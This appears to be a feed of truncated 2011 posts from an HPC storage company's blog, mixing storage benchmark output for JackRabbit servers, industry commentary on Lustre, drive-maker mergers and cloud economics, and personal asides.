[root@jr5-1 ~]# fio sw-19.2TB.fio ... Run status group 0 (all jobs): WRITE: io=19200GB, aggrb=3160.7MB/s, minb=3235.1MB/s, maxb=3235.1MB/s, mint=6221566msec, maxt=6221566msec [root@jr5-1 ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/md0 44G 5. https://blog.scalability.org/2011/04/raw-unapologetic-firepower/ Tue, 19 Apr 2011 13:34:41 +0000 https://blog.scalability.org/2011/04/raw-unapologetic-firepower/ 96TB Scalable Informatics JackRabbit JR5 unit, shipping out to a customer today (or early tomorrow). These are single thread, single process, single file writes. Taking it out to the track and cracking the throttle, wide open. [root@jr5-2 ~]# fio sw.fio ... Run status group 0 (all jobs): WRITE: io=65028MB, aggrb=3801.1MB/s, minb=3893.2MB/s, maxb=3893.2MB/s, mint=17104msec, maxt=17104msec [root@jr5-2 ~]# fio sr.fio ... Run status group 0 (all jobs): READ: io=65028MB, aggrb=3257.2MB/s, minb=3335.3MB/s, maxb=3335.3MB/s, mint=19965msec, maxt=19965msec and the 1TB run https://blog.scalability.org/2011/04/and-seagate-snarfs-up-samsungs-drive-business/ Tue, 19 Apr 2011 11:46:29 +0000 https://blog.scalability.org/2011/04/and-seagate-snarfs-up-samsungs-drive-business/ Looks like Seagate got itself some spinpoints. Seagate may be leveraging this to build its way into the Chinese market more than it is. Now there are 3 big spinning rust makers: Seagate, Western Digital, and Toshiba. A Seagate-Toshiba hookup wouldn’t surprise me, though the regulators are likely to start eyeing this stuff more closely for anti-monopoly reasons. I’ve said more M&A; and I mean’t more M&A.; And the deals ain’t done yet. https://blog.scalability.org/2011/04/ignore-the-spork-behind-the-curtain/ Mon, 18 Apr 2011 18:05:23 +0000 https://blog.scalability.org/2011/04/ignore-the-spork-behind-the-curtain/ At InsideHPC, Rich notes in a post Heh … I’d argue that the (sp)fork already happened, its in the past, and people have decided to continue moving forward with the new (sp)fork. This said, this is decidedly not a bad thing. As I had predicted, Oracle has largely abandoned all things HPC that it couldn’t remission for some other decidedly non-HPC purpose. The only realistic reason for retaining ownership of the Lustre IP/copyrights/etc. https://blog.scalability.org/2011/04/file-system-surgery/ Sat, 16 Apr 2011 15:36:41 +0000 https://blog.scalability.org/2011/04/file-system-surgery/ So whatcha gonna do when you have a Lustre file system, with an ext4 backing store with a journal on an external RAID1 SSD, when that external RAID1 ssd pair goes away (in a non-recoverable manner), and the file system has the needs_recovery flag set? You see, the ‘-f’ option to e2fsck … doesn’t … in the face of a missing external journal with needs_recovery set. Ok, you can turn off the journal. https://blog.scalability.org/2011/04/on-the-broken-ness-of-most-linux-distributions/ Sat, 16 Apr 2011 06:02:37 +0000 https://blog.scalability.org/2011/04/on-the-broken-ness-of-most-linux-distributions/ If you have anything approaching a complex installation or management requirement for your systems, most … no … pretty much all Linux distributions have anywhere between somewhat borked to completely boneheaded designs for handling these complex sitatuations. Say, for example, you want to boot a diskless NFS system, and replicate it. Diskless NFS is well known to be an easy to manage scenario … one system to manage, very scalable from an admin point of view. https://blog.scalability.org/2011/04/at-nab-in-las-vegas-in-a-word-wow/ Wed, 13 Apr 2011 04:39:17 +0000 https://blog.scalability.org/2011/04/at-nab-in-las-vegas-in-a-word-wow/ I’ve got a much longer writeup in mind. Those who attend SCxx and think its big … er … no. Conservative guess that NAB is 5x the size of SCxx in terms of exhibit floor space. This may be an under estimate by 2-4x BTW, I’ve only visited the upper and lower south exhibit hall areas. Not the central or north exhibit halls. And, to add insult to injury … the entire SCxx floor would fit in 1/2 of one of the upper or lower floor levels. https://blog.scalability.org/2011/04/another-test-case-on-a-5u-jackrabbit/ Mon, 11 Apr 2011 18:20:43 +0000 https://blog.scalability.org/2011/04/another-test-case-on-a-5u-jackrabbit/ This is the other 5U JackRabbit unit we are building for the customer. Single thread read of an large file, no caching. This is spinning rust (e.g. hard disk). This uses 2TB drives while the other unit uses 1TB drives. The theoretical maximum we could pull data off these units the way they are arranged now is 4.68 GB/s with these particular drives. [root@jr5-2 ~]# dd of=/dev/null if=/data/big.file ... 1024+0 records in 1024+0 records out 137438953472 bytes (137 GB) copied, 29. https://blog.scalability.org/2011/04/not-all-clouds-have-silver-linings/ Mon, 11 Apr 2011 16:40:11 +0000 https://blog.scalability.org/2011/04/not-all-clouds-have-silver-linings/ AaaS/StaaS (Archive as a service, Storage as a service) seems to have providers dropping their offerings as they are not very profitable. As with computing as a service, the issues are costs, pure and simple. For this to work well as a service, you, the provider, need your costs to be well below what you charge your customers. Moreover, the cost you charge your customers needs to be below their entire burdened costs for replicating the same thing in house. https://blog.scalability.org/2011/04/the-tb-sprint-12-4-tbhour-write-speed/ Fri, 08 Apr 2011 14:29:14 +0000 https://blog.scalability.org/2011/04/the-tb-sprint-12-4-tbhour-write-speed/ канализацияWe wanted to see what one of the current gen machines could do for writing and reading a 1TB (1000GB) sized file. So we set up a simple fio deck to do this. Then ran it. Run status group 0 (all jobs): WRITE: io=999.78GB, aggrb=3535.7MB/s, minb=3620.6MB/s, maxb=3620.6MB/s, mint=289552msec, maxt=289552msec The write took 289.6 seconds. Less than 5 minutes, or 12.4 TB/hour write speed. The read Run status group 0 (all jobs): READ: io=999. https://blog.scalability.org/2011/04/now-thats-what-im-talking-about/ Thu, 07 Apr 2011 12:29:34 +0000 https://blog.scalability.org/2011/04/now-thats-what-im-talking-about/ New JackRabbit JR5 in lab (actually a pair of them) being built for a customer. Running some real simple baseline tests. Very simple stuff. RAID6. dd. [root@jr5-1 ~]# dd if=/dev/zero of=/data/big.file ... 1250+0 records in 1250+0 records out 83886080000 bytes (84 GB) copied, 26.4774 seconds, 3.2 GB/s and a quicky-dirty fio run … Run status group 0 (all jobs): WRITE: io=128004MB, aggrb=3336.4MB/s, minb=3416.4MB/s, maxb=3416.4MB/s, mint=38367msec, maxt=38367msec and the read version https://blog.scalability.org/2011/03/day-job-at-2011-high-performance-computing-linux-financial-markets-on-monday-4-april/ Thu, 31 Mar 2011 21:07:02 +0000 https://blog.scalability.org/2011/03/day-job-at-2011-high-performance-computing-linux-financial-markets-on-monday-4-april/ We will be there, with 2 machines in a booth with our partner JRTI/XCT. We are featuring Flash hardware from Virident and showing a demo (or set of demos) on very high performance data analysis using kdb+ Scalable gear will include a JackRabbit JR4 unit with 2x Virident TachIOn cards (think drool-worthy 1GB/s 300k IOP cards … ). Everything in the JR4 is new, apart from the disks … which are older/slower (what we had on hand). https://blog.scalability.org/2011/03/pot-kettle-yeah-something-like-this/ Thu, 31 Mar 2011 12:06:34 +0000 https://blog.scalability.org/2011/03/pot-kettle-yeah-something-like-this/ I think this news story is a day early. It has all the requisite gems in it. My gosh, for a moment, I thought Microsoft was talking about itself in the PC market. Then I saw the words “Google” and “e-book”. Now if we changed those to “Microsoft” and “PC”, yeah, that statement would also be true. Are we sure this isn’t the first of April? https://blog.scalability.org/2011/03/something-we-are-working-on/ Mon, 28 Mar 2011 21:26:55 +0000 https://blog.scalability.org/2011/03/something-we-are-working-on/ Ignore some of the ugly table bits to the left. Still working on the screen layout, menu look/feel, etc. But you can get a sense of what we are doing. This will appear at the HPC Linux on Wall Street show with us next week, as we will be running demos from this (and showing to a few prospective partners/customers at NAB in Las Vegas). Please feel free to stop by if you are in NYC for the show … Many of the functions are not fully hooked to the controllers yet, but you will get the idea. https://blog.scalability.org/2011/03/hilarious-startup-robot-pitches-a-vc/ Fri, 25 Mar 2011 14:36:18 +0000 https://blog.scalability.org/2011/03/hilarious-startup-robot-pitches-a-vc/ As seen on InsideHPC in a post Ok … a long time ago I posted a somewhat silly post, briefly lampooning the VC’s penchants for crowd-funding ideas that were buzzword heavy (and, ahem … value-lite … ahem), whilst ignoring real innovation, real markets, real companies. This video does a similar type of lampooning, and it is, sadly, on the money. If we were pitching the day job as a “Social network, and crowd source content and media data repository” rather than as a “high performance storage and computing solutions” company … yeah … chances are we’d get much more interest from that community. https://blog.scalability.org/2011/03/oracle-dumps-itanic/ Thu, 24 Mar 2011 01:35:42 +0000 https://blog.scalability.org/2011/03/oracle-dumps-itanic/ You can sort of see this coming. Oracle is ditching Itanium development, effective immediately. If they haven’t done so for Power … yet … I’d expect this soon as well. Oracles' claim is that Intel is ditching Itanium. Well, yeah, its sort of a weak argument. The future of Intel isn’t much on the Itanium side of things. x86 and derivatives appear to be their future, but Itanium isn’t being deep sixed now. https://blog.scalability.org/2011/03/parts-shortages/ Thu, 24 Mar 2011 01:17:20 +0000 https://blog.scalability.org/2011/03/parts-shortages/ We’ve noticed this over the past week. Have a number of new orders, and suddenly, memory is hard to find. And prices have jumped dramatically. From /. We do just-in-time builds, we tend to keep inventory down. Global supply and demand folks, the economy is operating as it should. When you have shortages, pricing rises through channel to market. There is little we can do about this. We have some memory supply (the parts giving us issues now), and CPUs aren’t a problem. https://blog.scalability.org/2011/03/ot-darned-caffeine-containment-leak/ Wed, 23 Mar 2011 20:05:37 +0000 https://blog.scalability.org/2011/03/ot-darned-caffeine-containment-leak/ on my desk. Quick thinking Doug managed to help me avoid a tragedy of epic proportions (completely covering my desk with coffee) by application of the caffeine leak containment device (e.g. towel). No pictures of this tragedy, and it was unrelated to any earthquakes. It was related to the klutz whose left hand was near the coffee and moved it like this … DO’H! https://blog.scalability.org/2011/03/what-should-432tb-of-storage-cost/ Fri, 18 Mar 2011 20:19:37 +0000 https://blog.scalability.org/2011/03/what-should-432tb-of-storage-cost/ This is close to 1/2 PB. Assume you are building a very fast storage unit and backup system. What should this cost? Yeah, we can argue about cost per GB/s and cost per IOP/s. Assume 3GB/s, and 10k IOPs. Assume the unit is 144TB raw (108TB usable) primary fast storage, and 288TB raw (216TB usable) storage. There is a poll for this post, but you have to click the title to be able to participate. https://blog.scalability.org/2011/03/day-job-pr-on-a-new-accelerated-cluster-at-stanford/ Wed, 16 Mar 2011 16:02:43 +0000 https://blog.scalability.org/2011/03/day-job-pr-on-a-new-accelerated-cluster-at-stanford/ See InsideHPC for the scoop. PRWeb stuff here. Will have it up on our site soon. This uses the XCT chassis, which lets us use C20x0 Fermi, as well as other PCIe cards (can you say Virident Flash? ) The system will be using Bright Computing’s excellent Cluster Management tool. We will take pictures/movies during assembly and installation. Should be fun! About 15TF, 100x Fermi units, 96TB storage. Excellent design overall (pats himself on the back), and a major win for our partner JRTI and us, validating our strategic partnership. https://blog.scalability.org/2011/03/not-good/ Sat, 12 Mar 2011 22:21:42 +0000 https://blog.scalability.org/2011/03/not-good/ The earthquake, tsunami and its after effects are terrible enough. Our thoughts are with the people of Japan (we have quite a few readers there). The US Red Cross has setup to take donations for relief work there if you are inclined to go that route. If you are in Japan, and have alternative suggestions as to how we all can help, please do post them. One of the after effects of this event was a destabilization of a boiling water reactor. https://blog.scalability.org/2011/03/deskside-box-with-lotsa-gpus/ Fri, 11 Mar 2011 20:28:07 +0000 https://blog.scalability.org/2011/03/deskside-box-with-lotsa-gpus/ Testing this for a partner. A Pegasus deskside supercomputer with 12x X5690 CPU cores, 48 GB RAM, 500 MB/s IO channel (soon to 1 GB/s), and a GTX 260 graphics card. Connected to an XCT a-Brix 2U unit with 4x NVidia Fermi C2050’s (normally we’d use a JackRabbit unit, but they are all busy with customer projects right now). First, lets see whats there: [root@pegasus C]# lspci | grep nVidia | grep VGA 06:00. https://blog.scalability.org/2011/03/and-netapp-buys-engenio/ Thu, 10 Mar 2011 21:36:32 +0000 https://blog.scalability.org/2011/03/and-netapp-buys-engenio/ [updated] Ok, this one is huge. Many of the higher end storage folks in the HPC world use this hardware. Which NetApp will now own. NetApp is not an HPC storage vendor, and I don’t think they have designs to be one [update] yes they do! But this goes to Cray, SGI, Oracle, Dell, IBM, HP, and many others (DDN, Bluearc, Terascala, etc.) who do use Engenio. We don’t use it, so its really not an issue to us. https://blog.scalability.org/2011/03/when-failures-stick-out-like-a-statistical-sore-thumb/ Thu, 10 Mar 2011 16:43:18 +0000 https://blog.scalability.org/2011/03/when-failures-stick-out-like-a-statistical-sore-thumb/ Parts fail. Components fail. You have to operate assuming they will fail. A warranty is fundamentally a bet that parts will fail, and a willingness to place money (the price of the warranty) on that bet. Over time, with enough components, you get a feel for how often parts fail. You get historical data. When one subset of components have a high failure rate (e.g. Corsair SSD disks), you know you can isolate the problem. https://blog.scalability.org/2011/03/single-vs-multi-stream-on-jackrabbit-jr5/ Wed, 09 Mar 2011 21:53:18 +0000 https://blog.scalability.org/2011/03/single-vs-multi-stream-on-jackrabbit-jr5/ A customer was playing with one of our lab machines (a JackRabbit JR5), and asked us if we could improve the multithread streaming performance. The way we had it set up (for internal testing) was non-optimal for their use case. So we went back and did some simple tweaks. Somewhat better optimized for their use case. Remember, this is our previous generation unit. Next gen is … a little faster :) https://blog.scalability.org/2011/03/and-hitachi-gst-is-eaten-by-wd/ Mon, 07 Mar 2011 22:59:58 +0000 https://blog.scalability.org/2011/03/and-hitachi-gst-is-eaten-by-wd/ Hitachi, whose drives we do like, was just eaten by WD, whose drives we run away from. Story here. As long as the product lines that get ditched are the WD’s in favor of the Hitachi’s, I am ok with this. 2TB drives that decide to randomly power down in a RAID, without informing anyone? And a company that seems to want us all to believe that there are no firmware updates? https://blog.scalability.org/2011/03/btw-had-an-iphone-ish-meltdown/ Fri, 04 Mar 2011 22:04:02 +0000 https://blog.scalability.org/2011/03/btw-had-an-iphone-ish-meltdown/ took all my contact data with it … so … if you happen to want me to contact you, gotta give me some numbers to reach you at. Private email me at joe@scalability.org and I’ll re-enter it (and store it somewhere else). Yeah, mobile device backup? Pretty darned important? Me? A fool for not doing this regularly. https://blog.scalability.org/2011/03/i-cant-believe-i-forgot-to-update-this/ Fri, 04 Mar 2011 21:35:24 +0000 https://blog.scalability.org/2011/03/i-cant-believe-i-forgot-to-update-this/ Day job storage unit has increased density. JackRabbit JR2 tops out at 36TB now, JackRabbit JR3 tops out at 48TB, JackRabbit JR4 tops out at 72TB, and JackRabbit JR4 tops out at 144TB. 8 of the latter can go into a 42U rack, and get you 1.1PB of insanely fast storage. Our measured bandwidths are also quite good. JR4’s are demonstrating sustained 2+GB/s. JR5’s … well :) DeltaV units of similar size specs. https://blog.scalability.org/2011/03/quick-accounting-tool-for-torque/ Thu, 03 Mar 2011 05:30:13 +0000 https://blog.scalability.org/2011/03/quick-accounting-tool-for-torque/ A long while ago, I had developed a usage summary tool for gridengine. For our small internal cluster, we are using Torque (we set it up just as thedejecta was hitting the high rotational rate elements w.r.t. gridengine at Oracle, link URL may not be safe for work, and you might be offended by it … if so, I apologize.). This summary tool was a quick way to parse the accounting records. https://blog.scalability.org/2011/02/members-of-rocks-core-team-moving-to-rocks-startup/ Mon, 28 Feb 2011 19:43:10 +0000 https://blog.scalability.org/2011/02/members-of-rocks-core-team-moving-to-rocks-startup/ Rocks, as folks might know is a cluster distribution based upon Redhat/Centos. This brings in all sort of issues on its own, but Rocks attempts to work around this and knead the distribution and associated tools into a cogent form, for simple cluster setup. The core team consisted of the project lead, several developers and a number of others directly or loosely affiliated with the group. Two members, Dr. Greg Bruno, and Mason Katz, just left to join Clustercorp, who make the commercial version, Rocks+. https://blog.scalability.org/2011/02/plus-a-change-plus-a-la-mentia/ Fri, 25 Feb 2011 06:11:41 +0000 https://blog.scalability.org/2011/02/plus-a-change-plus-a-la-mentia/ The more things change, the more they stay the same. My former employer (left on good terms, between layoffs a decade ago next month) SGI has layoffs coming. This is a tough environment folks, a very tough environment. We pulled out a nearly 12% revenue growth in it. SGI posted a profit, but if you click through to the underlying article (hit InsideHPC first though), you see some interesting analysis. First on the size of the layoff. https://blog.scalability.org/2011/02/the-spork-gains-support/ Thu, 24 Feb 2011 22:33:50 +0000 https://blog.scalability.org/2011/02/the-spork-gains-support/ This is goodness. Really. Peter Jones just sent out an email to the Lustre Discuss list, and it covers much of what i was hoping to see. Process ownership, agreement around the release for 2.1, central tracker, and build info. Yeah, its probably not the optimal outcome, but its a better place than we were a week or more ago. And that was still better than a month or two ago. https://blog.scalability.org/2011/02/interesting-fud-floating-about/ Wed, 23 Feb 2011 23:29:58 +0000 https://blog.scalability.org/2011/02/interesting-fud-floating-about/ One of our competitors, having been recently purchased by a very large storage company, seems to be telling some customers that they replaced an infrastructure that we sold to to a large supercomputer center in the northern midwest. Curious, I hadn’t heard of this. Last I checked (a few minutes ago), the infrastructure was still in use. Moreover, they said “they” replaced GlusterFS on the system. Again … curious, as I don’t quite remember them on the con-calls. https://blog.scalability.org/2011/02/cloudy-expectations-for-hpc/ Tue, 22 Feb 2011 15:15:09 +0000 https://blog.scalability.org/2011/02/cloudy-expectations-for-hpc/ I’ve mentioned in the past, where users expectations deviated, often wildly, from the reality of a system. The reason for these deviations of expectations could be internal (convincing yourself that “instant” means, literally, “instant”), external (believing marketing blurbs), or some factor between the two. At HPCinthecloud, an article on a user running head first into the reality of cloud computing, and avoiding the hype. Ok, a number of critical take-aways. One is that end user expectations can be wildly … badly … out of sync with reality. https://blog.scalability.org/2011/02/we-need-to-get-better-at-weather-forecasting/ Mon, 21 Feb 2011 19:01:26 +0000 https://blog.scalability.org/2011/02/we-need-to-get-better-at-weather-forecasting/ Big HPC area. Yesterday, all the forecast models had us getting ~1.5 inches (about 4cm) of snow with rain/ice afterwords. We got (locally by me) 12+ inches (30+cm). Ok. I don’t mind if there are large error bars. Really I don’t. But this ? I don’t know enough about the models to be able to say anything terribly intelligent about their intrinsic accuracy, or if the omit anything, under/over predict anything … I do know enough to say that they weren’t in the same ballpark as what we got. https://blog.scalability.org/2011/02/need-to-look-at-moosefs/ Mon, 21 Feb 2011 17:20:22 +0000 https://blog.scalability.org/2011/02/need-to-look-at-moosefs/ Looks similar to a number of others, but whats interesting is that it keeps its metadata in RAM. How much of an impact that provides for updates depends upon the efficiency of the network stack, and how much security it provides depends upon its ability to recover from unplanned outages … that is, it can’t just run in ram an occasionally update something on disk. Gotta look at this more though, as it could be interesting as a front end FS to something else on the backend. https://blog.scalability.org/2011/02/old-model-jackrabbit-5u-bonnie/ Sat, 19 Feb 2011 18:24:52 +0000 https://blog.scalability.org/2011/02/old-model-jackrabbit-5u-bonnie/ Previous version of our JR5 unit, in the lab as a test bed for customers. Testing firmware and driver updates, among other things. Simple bonnie++ 1.96 run. You know I am not a huge fan of this as a load generator, or as a benchmark. Regardless, here is the output: [root@jr5-lab ~]# bonnie++ -u root -d /data -s 144g:1024k -f Using uid:0, gid:0. Writing intelligently...done Rewriting... done Reading intelligently...done start 'em. https://blog.scalability.org/2011/02/rfps-that-request-a-pony/ Thu, 17 Feb 2011 17:45:30 +0000 https://blog.scalability.org/2011/02/rfps-that-request-a-pony/ Yeah, I have one of those in front of me now. The requirements are for all intents and purposes, impossible to simultaneously satisfy. Q&A; response from customer suggests that they may be willing to compromise some aspects, but not enough to actually satisfy their request. Sort of like “I want 1 PB … for free, with free lifetime 24x7 support, … , infinite bandwidth, infinite snapshots, infinite IOPs. And I want a pony. https://blog.scalability.org/2011/02/pushing-atoms-versus-pushing-bits/ Thu, 17 Feb 2011 06:48:10 +0000 https://blog.scalability.org/2011/02/pushing-atoms-versus-pushing-bits/ Cloud computing is driving a disruptive change through a number of market places. It started long before virtualization, but virtualization really enabled much of what we have now. Remember, at the end of the day, the entire process is economic in nature. Cost per cycle does matter. When a vendor sells hardware, they are selling all the cycles of that hardware over the usable lifetime of the hardware. They push the atoms at the customer, and let the customer manage the economics of utilization. https://blog.scalability.org/2011/02/storage-bandwidth-wall-writ-large/ Tue, 15 Feb 2011 21:23:58 +0000 https://blog.scalability.org/2011/02/storage-bandwidth-wall-writ-large/ Henry Newman, CEO/CTO of Instrumental, has a great article on Enterprise Storage Forum. Remember, what we call the storage bandwidth wall, e.g. the time in seconds to read/write your disk, is your capacity divided by your bandwidth to read/write that capacity. Its a height, measured in seconds, to take one pass through your data. If you can read/write at 1GB/s and have 1TB of data, your wall height is 1000GB/(1 GB/s) = 1000s. https://blog.scalability.org/2011/02/more-code-golf-grid-computing/ Mon, 14 Feb 2011 20:05:17 +0000 https://blog.scalability.org/2011/02/more-code-golf-grid-computing/ I told you I was an addict. Problem statement is here. And you want to do it in the minimum number of characters (e.g. golf strokes) in your programming language. They give an example matrix, and their result (which is correct). So … what can you do for this? I used two languages: Octave/Matlab and Perl. The former is more of a ‘modeling’ language with formal programming bits atop it, and the latter is a classical programming language, quite notorious for its ability to be terse. https://blog.scalability.org/2011/02/jackrabbit-updates-for-greater-density/ Mon, 14 Feb 2011 16:23:14 +0000 https://blog.scalability.org/2011/02/jackrabbit-updates-for-greater-density/ JR4 units with up to 72 TB per 4U, at our nice sustained 2+ GB/s data rates. JR5 units with up to 144 TB per 5U at 2.5+ GB/s data rates. You can order our systems with these units. Thats 720TB/rack of JR4’s with 20+ GB/s sustained, or 1152TB per rack of JR5’s with 20 GB/s sustained. Built into our siCluster units, they represent some of the fastest and most cost effective hardware to build storage, storage clusters, storage clouds, and so on. https://blog.scalability.org/2011/02/sometimes-you-get-the-bear-other-times-the-bear-gets-you/ Sat, 12 Feb 2011 16:28:17 +0000 https://blog.scalability.org/2011/02/sometimes-you-get-the-bear-other-times-the-bear-gets-you/ This took guts. The (new) CEO of Nokia noting that there are issues going forward. Nokia has had great handsets. I still recall with great fondness, the E61 that I left in a taxi somewhere in London after visiting a customer … But Nokia hasn’t innovated in a meaningful way, hasn’t adapted well to the rapid change in market conditions. Like RIM, their phones are competent, excellent phones. Unlike Apple and Google/Android, their phones don’t have a great user experience. https://blog.scalability.org/2011/02/physics-humor-for-a-friday-morning/ Fri, 11 Feb 2011 15:37:07 +0000 https://blog.scalability.org/2011/02/physics-humor-for-a-friday-morning/ From xkcd Heh … If you don’t know what a complex conjugate is, read this. Basically, if I have a function Ψ(x) which has a “real” part ψr(x) and an imaginary part ψi(x), with the ψ’s being real valued functions, so Ψ(x) = ψr(x) +iψi(x)), then multiplying Ψ(x) by its complex conjugate (Ψ(x) = ψr(x) - i*ψi(x) , where i =√(-1) ) yields: (ψr(x) + i*ψi(x)) * (ψr(x) - i*ψi(x)) https://blog.scalability.org/2011/02/i-know-i-shouldnt-be-but-i-am/ Thu, 10 Feb 2011 03:26:59 +0000 https://blog.scalability.org/2011/02/i-know-i-shouldnt-be-but-i-am/ [update] a bug in my reasoning (thanks Peter!) a Perl Golf addict. Not a recovering addict, but one that is active. What is Perl Golf? Well, as in real golf, you try to provide the minimal number of steps to a solution. In this case, you are to solve the specific puzzle. Detractors of Perl often make snarky comments about Perl’s equivalency to random line noise and other such nonesense. Sure … if it makes you feel good to say that … I am a fan of terse languages, I wrote programs (if you could call them that) in APL … a while ago. https://blog.scalability.org/2011/02/fun-with-a-scsi-target/ Wed, 09 Feb 2011 06:48:48 +0000 https://blog.scalability.org/2011/02/fun-with-a-scsi-target/ Had some fun today with our SCSI target. Its a very nice system, very powerful. Not terribly easy to use. But it works well. We have tools we developed around it to make it easy to use. Creating iSCSI targets works nicely with our target code. It builds the target, sets up the infrastructure. Done with thin provisioning, its pretty fast and mostly painless. Well, it was until we discovered that the stack, while including /etc/initiators. https://blog.scalability.org/2011/02/and-lustre-sporks/ Wed, 09 Feb 2011 06:25:58 +0000 https://blog.scalability.org/2011/02/and-lustre-sporks/ A spork is a cross between a spoon and a fork. Of course there is a double entendre buried in their, as spoon (or spooning) implies a close relationship, and a fork (or forking) implies a split from an original. I think Lustre is sporking. Seriously. And this is a good thing for Lustre (as the major forces behind it are aligning, and still bending over backwords to avoid using the dreaded “f”-word). https://blog.scalability.org/2011/02/semi-ot-no-really-no/ Mon, 07 Feb 2011 20:07:01 +0000 https://blog.scalability.org/2011/02/semi-ot-no-really-no/ This is an economic thing. If I sell my house, in my suburban neighborhood, and I make a profit from that activity, should I be required to share my profit with my neighbors, who don’t own my house? The answer to this is, obviously not. If my business makes money, and makes a profit, should I be required to share my profit with others, who don’t own a portion of my business? https://blog.scalability.org/2011/02/and-yet-again/ Thu, 03 Feb 2011 21:52:23 +0000 https://blog.scalability.org/2011/02/and-yet-again/ Me: (presents A) “So what do you think?” Them: “Hmmm … nice but what comes after A?” Me: “Lets get another time slot and I’ll go over that” (time passes … order of weeks) Me: (presents post-A) “So what do you think” Them: “Hmmm … nice but what comes after post-A?” Me: “Lets get another time slot and I’ll go over that” (time passes … order of several months, lets call B as post post-A, and we hit important business milestones) Me: (presents B) “So what do you think” Them: “Hmmm … nice but what about A? https://blog.scalability.org/2011/02/ot-first-good-legislation-of-the-year-get-rid-of-the-onerous-1099-stuff-from-obamacare/ Wed, 02 Feb 2011 23:27:50 +0000 https://blog.scalability.org/2011/02/ot-first-good-legislation-of-the-year-get-rid-of-the-onerous-1099-stuff-from-obamacare/ Looks like the amendment passed. This provision would have required that we keep records of every transaction above $600 in terms of 1099 forms. So if I go buy tickets for a business trip on LinkedIn, I have to fill out some 1099 bits (and so do they). If someone buys more than $600 of stuff from us, an exchange of 1099 info. Yeah. It was really dumb, and it shouldn’t have been in Obamacare. https://blog.scalability.org/2011/02/if-you-cant-beat-em-copy-em/ Wed, 02 Feb 2011 16:46:08 +0000 https://blog.scalability.org/2011/02/if-you-cant-beat-em-copy-em/ Google catches Microsoft with its proverbial hand in the (search) cookie jar … Microsoft’s non-denial denial reads not unlike a Monty Python skit I am fond of. Search for “bat”. “No we didn’t!!!” then “Well, what we meant was ….” heh! That takes cajones! https://blog.scalability.org/2011/01/2010-day-jobs-best-year-on-record-ever/ Mon, 31 Jan 2011 16:57:13 +0000 https://blog.scalability.org/2011/01/2010-day-jobs-best-year-on-record-ever/ Just finished an analysis of last years results. We are a private company, so we don’t release financial info (apart from potential investors and those looking to take a stake in the company). We hit 11.7% growth in revenue for the year, and hit a company all time high revenue. This is despite a rather challenging economic environment (to say the least). Costs rose, some … er … astoundingly so. Looking to build on this, and accelerate forward. https://blog.scalability.org/2011/01/are-hpc-cloud-users-expectations-realistic/ Sun, 30 Jan 2011 06:15:50 +0000 https://blog.scalability.org/2011/01/are-hpc-cloud-users-expectations-realistic/ Several years ago, before clouds were all the rage, we were working with a large customer discussing an “on-demand” HPC computing service. This service predated Amazon’s setup, and was more in line with what Sabalcore, CRL and others are doing. I remember distinctly from my conversations with the customer that they had particular desires. Specifically, they wanted to run on always the latest/greatest/fastest possible hardware, and not pay any more for this. https://blog.scalability.org/2011/01/throwing-signs/ Fri, 28 Jan 2011 03:52:50 +0000 https://blog.scalability.org/2011/01/throwing-signs/ Too funny: [ ](http://scalability.org/images/geekgangsignsmain11-450x311.jpg) [had to update, as the folks putting the image up started blocking our link back to them … I thought we did this correctly … wasn’t trying to steal bandwidth] https://blog.scalability.org/2011/01/oh-what-a-day/ Thu, 27 Jan 2011 22:21:29 +0000 https://blog.scalability.org/2011/01/oh-what-a-day/ No details, but this is the sort of day I can do without in terms of excitement. Tonight is fight night in karate. Maybe I can suit up and hit with my good hand. Yeah, its been one of those days. https://blog.scalability.org/2011/01/as-the-high-performance-storage-world-evolves/ Thu, 27 Jan 2011 05:30:06 +0000 https://blog.scalability.org/2011/01/as-the-high-performance-storage-world-evolves/ Last year, say July time frame, if you asked me to name the top high performance computing file systems, and prognosticate who the up and comers were … well, you’d get lists much like I’ve said here in the past. Lustre was the “king” and undisputed leader. pNFS was (sorry Bruce and team) effectively perpetually in the future (yeah, sort of like Perl6 … though we intend to play with both sometime soon … I hope). https://blog.scalability.org/2011/01/my-kingdom-for-good-error-messages-or-something-like-that/ Tue, 25 Jan 2011 22:58:47 +0000 https://blog.scalability.org/2011/01/my-kingdom-for-good-error-messages-or-something-like-that/ I just spent too long tearing my (altogether far too few remaining) hair(s) out over a driver issue. Qlogic 7240 IB card. Decent DDR unit. Our 2.6.32.22 kernel. Very stable kernel. Rock solid under ridiculous load. OFED 1.5.2 with all the nice bug fixes etc. And inserting/removing qib would cause all manner of kernel hiccups. So much for stability. Well, that is, as long as the ib_ipath.ko, from the kernel RPM, was in there. https://blog.scalability.org/2011/01/there-are-times-that-this-is-amusing-other-times-not-so-much/ Tue, 25 Jan 2011 18:01:29 +0000 https://blog.scalability.org/2011/01/there-are-times-that-this-is-amusing-other-times-not-so-much/ Customer: Must be something wrong with your gear, because we know what we are doing. Me: Er … (noting that something that was working correctly before they touched it, is no longer working) … ok … so what changes have you made? Customer: Changes? We haven’t changed anything! Me: Er … but it was working, then it stopped working. So what changed? Customer: We just altered the network Me: Ok, now we are onto something (and likely the reason why the “equipment is broken") Customer: But we didn’t break it … Me: Yes, I understand. https://blog.scalability.org/2011/01/interesting-observation-with-respect-to-the-poll/ Fri, 21 Jan 2011 17:16:33 +0000 https://blog.scalability.org/2011/01/interesting-observation-with-respect-to-the-poll/ I’ve been monitoring the IP addresses and logs on the poll voting. You can vote for more than one item, select several, hit vote, and it generates a cookie so that you won’t be able to vote again. That is, unless you take the explicit step of clearing this cookie. And voting again. What this is telling me is that people feel a need not to simply report their (possibly multiple) preferences … but instead to actively game an informal measurement system. https://blog.scalability.org/2011/01/eric-schmidt-out-in-april-as-ceo-of-google/ Thu, 20 Jan 2011 21:55:04 +0000 https://blog.scalability.org/2011/01/eric-schmidt-out-in-april-as-ceo-of-google/ See here. Larry Page (U of Mich alum … woot!*) More power to Larry (and all the other co-founders out there with vision and a desire to get the job done). Don’t forget to grow some data center bits here … its really cold right now … no need to spend on cooling for like 6 months out of the year! (not to mention, we have some nice servers we can customize for you! https://blog.scalability.org/2011/01/day-job-new-website-about-to-go-up/ Wed, 19 Jan 2011 21:10:45 +0000 https://blog.scalability.org/2011/01/day-job-new-website-about-to-go-up/ We’ve been busy. Real busy. Did I mention we’ve been busy? Once the website rolls, please, by all means, let us know if somethings broke. Email works. Hopefully we won’t melt the server … [Update] Doug rocks. In case I didn’t mention it. He rocks! Sites up with minor breakage (modulo grammar, inconsistent numbers … ) May need a site breakage bounty. Gonna think about this …. 